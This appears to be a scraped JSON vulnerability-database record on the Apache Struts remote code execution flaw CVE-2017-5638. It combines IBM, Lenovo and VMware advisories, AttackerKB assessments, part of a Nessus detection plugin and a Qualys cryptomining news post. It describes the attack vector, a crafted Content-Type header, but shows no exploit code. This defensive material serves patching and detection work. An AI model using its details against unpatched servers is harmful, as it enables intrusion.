Service](<http://www-01.ibm.com/support/docview.wss?uid=swg21988026>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2012-0720 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21587015>) | Not affected | 8.0, 7.0, 6.1 \n| CVE-2012-0717 | 2.6 | [Bypass security](<http://www-01.ibm.com/support/docview.wss?uid=swg21587015>) | Not affected | 7.0, 6.1 \n| CVE-2012-0716 | 4.3 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg21587015>) | Not affected | 8.0, 7.0, 6.1 \n| CVE-2012-0193 | 5 | [Denial of Service](<http://www-01.ibm.com/support/docview.wss?uid=swg21587015>) | Not affected | 8.0, 7.0, 6.1 \n \n**2011 CVEs**\n\n**Name**\n\n| \n\n**CVE**\n\n| \n\n**CVSS Score**\n\n| \n\n**WebSphere Application Server Bulletin or Assessment**\n\n| \n\n**IBM HTTP Server Bulletin or Assessment**\n\n| \n\n**Versions Affected** \n \n---|---|---|---|---|--- \n| CVE-2011-4889 | 5 | [Weaker security](<http://www-01.ibm.com/support/docview.wss?uid=swg21587015>) | Not affected | 8.0, 7.0, 6.1 \n| CVE-2011-4343 | 5 | [Obtain sensitive information](<http://www-01.ibm.com/support/docview.wss?uid=swg22008707>) | Not affected | 8.5, 8.0, Liberty \n| CVE-2011-1498 | 5 | [Information Disclosure](<https://www.ibm.com/support/pages/node/6453091>) | Not affected | 9.0, 8.5, 8.0 \n| CVE-2011-1377 | 2.1 | [Weaker security](<http://www-01.ibm.com/support/docview.wss?uid=swg21589257>) | Not affected | 8.0, 7.0, 6.1 \n| CVE-2011-1376 | 4.4 | [Insecure permissions](<http://www-01.ibm.com/support/docview.wss?uid=swg21587015>) | Not affected | 8.0, 7.0, 6.1 \n \n**Important note: **IBM strongly suggests that all System z customers be subscribed to the System z Security Portal to receive the latest critical System z security and integrity service. If you are not subscribed, see the instructions on the [System z Security web site](<https://www.ibm.com/it-infrastructure/z/capabilities/system-integrity>). Security and integrity APARs and associated fixes will be posted to this portal. IBM suggests reviewing the CVSS scores and applying all security or integrity fixes as soon as possible to minimize any potential risk.\n\n[{\"Product\":{\"code\":\"SSEQTP\",\"label\":\"WebSphere Application Server\"},\"Business Unit\":{\"code\":\"BU059\",\"label\":\"IBM Software w\\/o TPS\"},\"Component\":\"Security\",\"Platform\":[{\"code\":\"PF002\",\"label\":\"AIX\"},{\"code\":\"PF010\",\"label\":\"HP-UX\"},{\"code\":\"PF012\",\"label\":\"IBM i\"},{\"code\":\"PF016\",\"label\":\"Linux\"},{\"code\":\"PF027\",\"label\":\"Solaris\"},{\"code\":\"PF033\",\"label\":\"Windows\"},{\"code\":\"PF035\",\"label\":\"z\\/OS\"}],\"Version\":\"9.0.0.0;8.5.5;8.5;8.0;7.0;6.1\",\"Edition\":\"Advanced;Base;Developer;Express;Liberty;Network Deployment\",\"Line of Business\":{\"code\":\"LOB45\",\"label\":\"Automation\"}},{\"Product\":{\"code\":\"SSEQTJ\",\"label\":\"IBM HTTP Server\"},\"Business Unit\":{\"code\":\"BU053\",\"label\":\"Cloud \\u0026 Data Platform\"},\"Component\":\" \",\"Platform\":[{\"code\":\"\",\"label\":\"\"}],\"Version\":\"\",\"Edition\":\"\",\"Line of Business\":{\"code\":\"\",\"label\":\"\"}},{\"Product\":{\"code\":\"SSCKBL\",\"label\":\"WebSphere Application Server Hypervisor Edition\"},\"Business Unit\":{\"code\":\"BU059\",\"label\":\"IBM Software w\\/o TPS\"},\"Component\":\" \",\"Platform\":[{\"code\":\"\",\"label\":\"\"}],\"Version\":\"\",\"Edition\":\"\",\"Line of Business\":{\"code\":\"LOB45\",\"label\":\"Automation\"}},{\"Product\":{\"code\":\"SSD28V\",\"label\":\"WebSphere Application Server Liberty Core\"},\"Business Unit\":{\"code\":\"BU059\",\"label\":\"IBM Software w\\/o TPS\"},\"Component\":\" \",\"Platform\":[{\"code\":\"\",\"label\":\"\"}],\"Version\":\"\",\"Edition\":\"\",\"Line of Business\":{\"code\":\"LOB45\",\"label\":\"Automation\"}}]", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-07-13T18:04:48", "type": "ibm", "title": "WebSphere Application Server and IBM HTTP Server Security Bulletin List", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-1376", "CVE-2011-1377", "CVE-2011-1498", "CVE-2011-4343", "CVE-2011-4889", "CVE-2012-0193", "CVE-2012-0716", "CVE-2012-0717", "CVE-2012-0720", "CVE-2012-0876", "CVE-2012-1007", "CVE-2012-1148", "CVE-2012-2098", "CVE-2012-2159", "CVE-2012-2170", "CVE-2012-2190", "CVE-2012-2191", "CVE-2012-3293", "CVE-2012-3304", "CVE-2012-3305", "CVE-2012-3306", "CVE-2012-3311", "CVE-2012-3325", "CVE-2012-3330", "CVE-2012-4850", "CVE-2012-4851", "CVE-2012-4853", "CVE-2012-5783", "CVE-2012-6153", "CVE-2013-0169", "CVE-2013-0440", "CVE-2013-0443", "CVE-2013-0458", "CVE-2013-0459", "CVE-2013-0460", "CVE-2013-0461", "CVE-2013-0462", "CVE-2013-0464", "CVE-2013-0467", "CVE-2013-0482", "CVE-2013-0540", "CVE-2013-0541", "CVE-2013-0542", "CVE-2013-0543", "CVE-2013-0544", "CVE-2013-0565", "CVE-2013-0596", "CVE-2013-0597", "CVE-2013-0599", "CVE-2013-1571", "CVE-2013-1768", "CVE-2013-1862", "CVE-2013-1896", "CVE-2013-2967", "CVE-2013-2976", "CVE-2013-3024", "CVE-2013-3029", "CVE-2013-4004", "CVE-2013-4005", "CVE-2013-4006", "CVE-2013-4039", "CVE-2013-4052", "CVE-2013-4053", "CVE-2013-5372", "CVE-2013-5414", "CVE-2013-5417", "CVE-2013-5418", "CVE-2013-5425", "CVE-2013-5704", "CVE-2013-5780", "CVE-2013-5802", "CVE-2013-6323", "CVE-2013-6325", "CVE-2013-6329", "CVE-2013-6330", "CVE-2013-6438", "CVE-2013-6440", "CVE-2013-6725", "CVE-2013-6738", "CVE-2013-6747", "CVE-2014-0050", "CVE-2014-0076", "CVE-2014-0098", "CVE-2014-0114", "CVE-2014-0118", "CVE-2014-0160", "CVE-2014-0226", "CVE-2014-0231", "CVE-2014-0411", "CVE-2014-0453", "CVE-2014-0460", "CVE-2014-0823", "CVE-2014-0857", "CVE-2014-0859", "CVE-2014-0878", "CVE-2014-0891", "CVE-2014-0896", "CVE-2014-0963", "CVE-2014-0964", "CVE-2014-0965", "CVE-2014-3021", "CVE-2014-3022", "CVE-2014-3068", "CVE-2014-3070", "CVE-2014-3083", "CVE-2014-3566", "CVE-2014-3577", "CVE-2014-3603", "CVE-2014-4244", "CVE-2014-4263", "CVE-2014-4764", "CVE-2014-4767", "CVE-2014-4770", "CVE-2014-4816", "CVE-2014-6164", "CVE-2014-6166", "CVE-2014-6167", "CVE-2014-6174", "CVE-2014-6271", "CVE-2014-6277", "CVE-2014-6278", "CVE-2014-6457", "CVE-2014-6512", "CVE-2014-6558", "CVE-2014-6593", "CVE-2014-7169", "CVE-2014-7186", "CVE-2014-7189", "CVE-2014-7810", "CVE-2014-8730", "CVE-2014-8890", "CVE-2014-8917", "CVE-2015-0138", "CVE-2015-0174", "CVE-2015-0175", "CVE-2015-0204", "CVE-2015-0226", "CVE-2015-0235", "CVE-2015-0250", "CVE-2015-0254", "CVE-2015-0400", "CVE-2015-0410", "CVE-2015-0478", "CVE-2015-0488", "CVE-2015-0899", "CVE-2015-1283", "CVE-2015-1788", "CVE-2015-1829", "CVE-2015-1882", "CVE-2015-1885", "CVE-2015-1916", "CVE-2015-1920", "CVE-2015-1927", "CVE-2015-1931", "CVE-2015-1932", "CVE-2015-1936", "CVE-2015-1946", "CVE-2015-2017", "CVE-2015-2601", "CVE-2015-2613", "CVE-2015-2625", "CVE-2015-2808", "CVE-2015-3183", "CVE-2015-4000", "CVE-2015-4734", "CVE-2015-4749", "CVE-2015-4872", "CVE-2015-4938", "CVE-2015-4947", "CVE-2015-5006", "CVE-2015-5262", "CVE-2015-7417", "CVE-2015-7420", "CVE-2015-7450", "CVE-2015-7575", "CVE-2016-0201", "CVE-2016-0283", "CVE-2016-0306", "CVE-2016-0359", "CVE-2016-0360", "CVE-2016-0377", "CVE-2016-0378", "CVE-2016-0385", "CVE-2016-0389", "CVE-2016-0466", "CVE-2016-0475", "CVE-2016-0488", "CVE-2016-0702", "CVE-2016-0718", "CVE-2016-0800", "CVE-2016-1000031", "CVE-2016-1181", "CVE-2016-1182", "CVE-2016-2183", "CVE-2016-2923", "CVE-2016-2945", "CVE-2016-2960", "CVE-2016-3040", "CVE-2016-3042", "CVE-2016-3092", "CVE-2016-3426", "CVE-2016-3427", "CVE-2016-3485", "CVE-2016-4472", "CVE-2016-4975", "CVE-2016-5387", "CVE-2016-5546", "CVE-2016-5547", "CVE-2016-5548", "CVE-2016-5549", "CVE-2016-5573", "CVE-2016-5597", "CVE-2016-5983", "CVE-2016-5986", "CVE-2016-7056", "CVE-2016-8743", "CVE-2016-8919", "CVE-2016-8934", "CVE-2016-9736", "CVE-2017-10102", "CVE-2017-10115", "CVE-2017-10116", "CVE-2017-10356", "CVE-2017-10388", "CVE-2017-1121", "CVE-2017-1137", "CVE-2017-1151", "CVE-2017-1194", "CVE-2017-12613", "CVE-2017-12618", "CVE-2017-12624", "CVE-2017-1380", "CVE-2017-1381", "CVE-2017-1382", "CVE-2017-1501", "CVE-2017-1503", "CVE-2017-1504", "CVE-2017-15710", "CVE-2017-15715", "CVE-2017-1583", "CVE-2017-1681", "CVE-2017-1731", "CVE-2017-1741", "CVE-2017-1743", "CVE-2017-1788", "CVE-2017-3167", "CVE-2017-3511", "CVE-2017-3732", "CVE-2017-3736", "CVE-2017-5638", "CVE-2017-7668", "CVE-2017-7679", "CVE-2017-9798", "CVE-2018-10237", "CVE-2018-12539", "CVE-2018-12547", "CVE-2018-1301", "CVE-2018-1388", "CVE-2018-1426", "CVE-2018-1427", "CVE-2018-1447", "CVE-2018-1553", "CVE-2018-1567", "CVE-2018-1614", "CVE-2018-1621", "CVE-2018-1626", "CVE-2018-1643", "CVE-2018-1656", "CVE-2018-1683", "CVE-2018-1695", "CVE-2018-1719", "CVE-2018-17199", "CVE-2018-1755", "CVE-2018-1767", "CVE-2018-1770", "CVE-2018-1777", "CVE-2018-1793", "CVE-2018-1794", "CVE-2018-1797", "CVE-2018-1798", "CVE-2018-1840", "CVE-2018-1851", "CVE-2018-1890", "CVE-2018-1901", "CVE-2018-1902", "CVE-2018-1904", "CVE-2018-1905", "CVE-2018-1926", "CVE-2018-1957", "CVE-2018-1996", "CVE-2018-20843", "CVE-2018-25031", "CVE-2018-2579", "CVE-2018-2602", "CVE-2018-2603", "CVE-2018-2633", "CVE-2018-2634", "CVE-2018-2637", "CVE-2018-2783", "CVE-2018-2800", "CVE-2018-3139", "CVE-2018-3180", "CVE-2018-8039", "CVE-2019-0211", "CVE-2019-0220", "CVE-2019-10086", "CVE-2019-10092", "CVE-2019-10098", "CVE-2019-11777", "CVE-2019-12402", "CVE-2019-12406", "CVE-2019-17495", "CVE-2019-17566", "CVE-2019-17573", "CVE-2019-2426", "CVE-2019-2949", "CVE-2019-2989", "CVE-2019-4030", "CVE-2019-4046", "CVE-2019-4080", "CVE-2019-4268", "CVE-2019-4269", "CVE-2019-4270", "CVE-2019-4271", "CVE-2019-4279", "CVE-2019-4285", "CVE-2019-4304", "CVE-2019-4305", "CVE-2019-4441", "CVE-2019-4442", "CVE-2019-4477", "CVE-2019-4505", "CVE-2019-4663", "CVE-2019-4670", "CVE-2019-4720", "CVE-2019-4732", "CVE-2019-9512", "CVE-2019-9513", "CVE-2019-9514", "CVE-2019-9515", "CVE-2019-9517", "CVE-2019-9518", "CVE-2020-10693", "CVE-2020-11985", "CVE-2020-13938", "CVE-2020-14577", "CVE-2020-14578", "CVE-2020-14579", "CVE-2020-14581", "CVE-2020-14621", "CVE-2020-14781", "CVE-2020-14782", "CVE-2020-14797", "CVE-2020-1927", "CVE-2020-1934", "CVE-2020-2590", "CVE-2020-2593", "CVE-2020-2601", "CVE-2020-2654", "CVE-2020-27221", "CVE-2020-2754", "CVE-2020-2755", "CVE-2020-2773", "CVE-2020-2781", "CVE-2020-2800", "CVE-2020-4163", "CVE-2020-4276", "CVE-2020-4303", "CVE-2020-4304", "CVE-2020-4329", "CVE-2020-4362", "CVE-2020-4365", "CVE-2020-4421", "CVE-2020-4448", "CVE-2020-4449", "CVE-2020-4450", "CVE-2020-4464", "CVE-2020-4534", "CVE-2020-4575", "CVE-2020-4576", "CVE-2020-4578", "CVE-2020-4589", "CVE-2020-4590", "CVE-2020-4629", "CVE-2020-4643", "CVE-2020-4782", "CVE-2020-4949", "CVE-2020-5016", "CVE-2020-5258", "CVE-2021-20353", "CVE-2021-20354", "CVE-2021-20453", "CVE-2021-20454", "CVE-2021-20480", "CVE-2021-20492", "CVE-2021-20517", "CVE-2021-2161", "CVE-2021-23450", "CVE-2021-2369", "CVE-2021-26296", "CVE-2021-26690", "CVE-2021-26691", "CVE-2021-29736", "CVE-2021-29754", "CVE-2021-29842", "CVE-2021-30641", "CVE-2021-34798", "CVE-2021-35517", "CVE-2021-35550", "CVE-2021-35564", "CVE-2021-35578", "CVE-2021-35603", "CVE-2021-36090", "CVE-2021-38951", "CVE-2021-39031", "CVE-2021-39038", "CVE-2021-39275", "CVE-2021-40438", "CVE-2021-4104", "CVE-2021-44224", "CVE-2021-44228", "CVE-2021-44790", "CVE-2021-44832", "CVE-2021-45046", "CVE-2021-45105", "CVE-2021-45960", "CVE-2021-46143", "CVE-2021-46708", "CVE-2022-21229", "CVE-2022-21299", "CVE-2022-21340", "CVE-2022-21496", "CVE-2022-22310", "CVE-2022-22365", "CVE-2022-22393", "CVE-2022-22473", "CVE-2022-22475", "CVE-2022-22476", "CVE-2022-22477", "CVE-2022-22719", "CVE-2022-22720", "CVE-2022-22721", "CVE-2022-22822", "CVE-2022-22823", "CVE-2022-22824", "CVE-2022-22825", "CVE-2022-22826", "CVE-2022-22827", "CVE-2022-23302", "CVE-2022-23305", "CVE-2022-23307", "CVE-2022-23852", "CVE-2022-23990", "CVE-2022-25235", "CVE-2022-25236", "CVE-2022-25313", "CVE-2022-25315", "CVE-2022-26377", "CVE-2022-28614", "CVE-2022-28615", "CVE-2022-29404", "CVE-2022-30556", "CVE-2022-31813"], "modified": "2022-07-13T18:04:48", "id": "7E0744D5936EDC5F018B0850D801B665D388060D6A81B986BC7AD81C9A78C0EE", "href": "https://www.ibm.com/support/pages/node/710969", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "lenovo": [{"lastseen": "2018-07-13T19:27:14", "description": "**Lenovo Security Advisory**: LEN-14200\n\n**Potential Impact:** Remote code execution\n\n**Scope of Impact: **Industry-Wide\n\n**CVE Identifier: **CVE-2017-5638\n\n**Summary Description:**\n\nLenovo V3700 V2, Lenovo V3700 V2 XP, Lenovo V5030/V5030F and Storwize V7000 for Lenovo storage devices contain a vulnerability in Apache Struts 2, an open source web application framework, that could allow an attacker to perform remote code execution with a maliciously-crafted Content-Type value. \n\n**Mitigation Strategy for Customers (what you should do to protect yourself):**\n\nLenovo recommends customers update using the latest firmware update bundle by following the instructions in the links below.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-06-09T00:00:00", "type": "lenovo", "title": "Apache Struts Open Source Framework Remote Code Execution - us", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-06-09T00:00:00", "id": "LENOVO:PS500093-NOSID", "href": "https://support.lenovo.com/us/en/product_security/len-14200", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2022-11-04T06:51:15", "description": "**Lenovo Security Advisory**: LEN-14200\n\n**Potential Impact:** Remote code execution\n\n**Scope of Impact: **Industry-Wide\n\n**CVE Identifier: **CVE-2017-5638\n\n**Summary Description:**\n\nLenovo V3700 V2, Lenovo V3700 V2 XP, Lenovo V5030/V5030F and Storwize V7000 for Lenovo storage devices contain a vulnerability in Apache Struts 2, an open source web application framework, that could allow an attacker to perform remote code execution with a maliciously-crafted Content-Type value. \n\n**Mitigation Strategy for Customers (what you should do to protect yourself):**\n\nLenovo recommends customers update using the latest firmware update bundle by following the instructions in the links below.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-06-09T00:00:00", "type": "lenovo", "title": "Apache Struts Open Source Framework Remote Code Execution - Lenovo Support US", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", 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containing a #cmd= string.\n\n \n**Recent assessments:** \n \n**wvu-r7** at September 03, 2020 4:29pm UTC reported:\n\nThis popped Equifax. Vulnerable versions of Struts are exploitable out of the box, since this was a parser flaw. Make sure this is patched!\n\n**hrbrmstr** at May 12, 2020 7:45pm UTC reported:\n\nThis popped Equifax. Vulnerable versions of Struts are exploitable out of the box, since this was a parser flaw. Make sure this is patched!\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-11T00:00:00", "type": "attackerkb", "title": "CVE-2017-5638", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2020-07-30T00:00:00", "id": "AKB:BDF59C15-D64F-45D5-B1AC-D1B9DD354080", "href": "https://attackerkb.com/topics/1MWtVe9P7w/cve-2017-5638", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-12-12T02:18:58", "description": "Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.\n\n \n**Recent assessments:** \n \n**wvu-r7** at September 03, 2020 4:30pm UTC reported:\n\nUnlike [CVE-2017-5638](<https://attackerkb.com/topics/1MWtVe9P7w/cve-2017-5638>), which was exploitable out of the box, since it targeted Struts\u2019 Jakarta multipart parser, this vulnerability requires a certain set of circumstances to be true in order for Struts to be exploitable. Since Struts is a web application framework, this will depend entirely on the application the developers have created.\n\n**I don\u2019t know how common this particular scenario is.** Please read the [security bulletin](<https://cwiki.apache.org/confluence/display/WW/S2-059>) for more information. However, what I do know is that this CVE falls somewhere after [CVE-2017-5638](<https://attackerkb.com/topics/1MWtVe9P7w/cve-2017-5638>) and [CVE-2018-11776](<https://attackerkb.com/topics/jgIUjIdFUR/cve-2018-11776>) on the exploitability scale, from most exploitable to least: a parser flaw, a configuration flaw, and a programming flaw.\n\nSo, definitely patch this, but also follow Struts development best practices, including those outlined in their security bulletins. No measure of mitigations will protect you from poorly written code.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 2\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-09-14T00:00:00", "type": "attackerkb", "title": "CVE-2019-0230", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2018-11776", "CVE-2019-0230"], "modified": "2020-11-17T00:00:00", "id": "AKB:289DC3CE-ED8A-4366-89F0-46E148584C36", "href": "https://attackerkb.com/topics/mcp2xl4Va9/cve-2019-0230", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2023-02-22T14:43:40", "description": "The version of Apache Struts running on the remote host is affected by a remote code execution vulnerability in the Jakarta Multipart parser due to improper handling of the Content-Type header. An unauthenticated, remote attacker can exploit this, via a specially crafted Content-Type header value in the HTTP request, to potentially execute arbitrary code, subject to the privileges of the web server user.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-08T00:00:00", "type": "nessus", "title": "Apache Struts 2.3.5 - 2.3.31 / 2.5.x < 2.5.10.1 Jakarta Multipart Parser RCE (remote)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2022-04-11T00:00:00", "cpe": ["cpe:/a:apache:struts"], "id": "STRUTS_2_5_10_1_RCE.NASL", "href": "https://www.tenable.com/plugins/nessus/97610", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(97610);\n script_version(\"1.25\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/04/11\");\n\n script_cve_id(\"CVE-2017-5638\");\n script_bugtraq_id(96729);\n script_xref(name:\"CERT\", value:\"834067\");\n script_xref(name:\"EDB-ID\", value:\"41570\");\n script_xref(name:\"EDB-ID\", value:\"41614\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/05/03\");\n\n script_name(english:\"Apache Struts 2.3.5 - 2.3.31 / 2.5.x < 2.5.10.1 Jakarta Multipart Parser RCE (remote)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote web server contains a web application that uses a Java\nframework that is affected by a remote code execution vulnerability.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of Apache Struts running on the remote host is affected by\na remote code execution vulnerability in the Jakarta Multipart parser\ndue to improper handling of the Content-Type header. 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Successful exploitation of this issue may result in the complete compromise of an affected product. \n \nThe Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the identifier [CVE-2017-5638](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638>) to this issue. \n \nColumn 5 of the following table lists the action required to remediate the vulnerability in each release, if a solution is available. \n\n", "cvss3": {}, "published": "2017-03-13T00:00:00", "type": "vmware", "title": "VMware product updates resolve remote code execution vulnerability via Apache Struts 2", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-28T00:00:00", "id": "VMSA-2017-0004", "href": "https://www.vmware.com/security/advisories/VMSA-2017-0004.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2019-01-23T20:50:13", "description": "![](https://blog.qualys.com/wp-content/uploads/2018/03/307px-Bitcoin_logo.svg_.png)In this week\u2019s InfoSec news review we\u2019ll dive into cryptomining, get the latest on DDoS amplification, go over recent data breaches, and check out another vendor claiming it can crack iPhones.\n\n### I, me, mine\n\nThe freight train that\u2019s cryptomining shows no sign of slowing down, and the cyber security implications are intensifying accordingly.\n\nThis week alone, Microsoft [detected and disrupted](<http://www.newsweek.com/crypto-mining-malware-outbreak-infected-500000-computers-single-day-836145>) a massive cryptomining malware campaign, a Tesla AWS account[ got hijacked](<http://fortune.com/2018/02/20/tesla-hack-amazon-cloud-cryptocurrency-mining/>), a new mining worm [was discovered](<https://securityboulevard.com/2018/03/worm-infects-redis-and-windows-servers-with-cryptomining-malware/>), and Kaspersky researchers warned about increased[ sophistication of infection methods](<https://www.businesswire.com/news/home/20180305005866/en/Million-Kaspersky-Lab-Identifies-Sophisticated-Hacker-Groups>). \n\nWhile there is a legitimate component to this business, malicious hackers eager to profit are aggressively breaching networks and infecting devices -- PCs, IoT systems, smartphones, servers -- to steal computing power for mining virtual currencies.\n\n![](https://blog.qualys.com/wp-content/uploads/2018/03/Cryptocurrency_Mining_Farm-600x338.jpg)_A cryptocurrency mining farm in Iceland. (Photo credit: By [Marco Krohn - Own work, CC BY-SA 4.0](<https://commons.wikimedia.org/w/index.php?curid=40495567>))_\n\nThe creation and verification process of virtual currencies like Bitcoin and Monero involves solving lengthy and complex mathematical calculations that require large amounts of [computing power](<https://www.coindesk.com/nvidia-cfo-crypto-mining-demand-beat-expectations-q4/>). Those involved in this [\u201cblockchain\u201d process](<https://www.investopedia.com/tech/how-does-bitcoin-mining-work/>) earn money from it, and the payouts have skyrocketed as the value of these cryptocurrencies has dramatically increased in the past several months.\n\nThat has attracted the attention both of legitimate players -- [individuals](<http://www.businessinsider.com/mining-cryptocurrency-making-a-profit-2018-2>) and [businesses](<https://www.theverge.com/2018/2/13/17008158/salon-suppress-ads-cryptocurrency-mining-coinhive-monero-beta-testing>) -- and, unfortunately, of bad actors, who are using malware to gain unauthorized access to systems they then leverage for mining.\n\n\u201cExploit kits are now delivering coin miners instead of ransomware. Scammers are adding coin mining scripts in tech support scam websites. And certain banking trojan families added coin mining behavior,\u201d Microsoft\u2019s Windows Defender team stated in its [blog 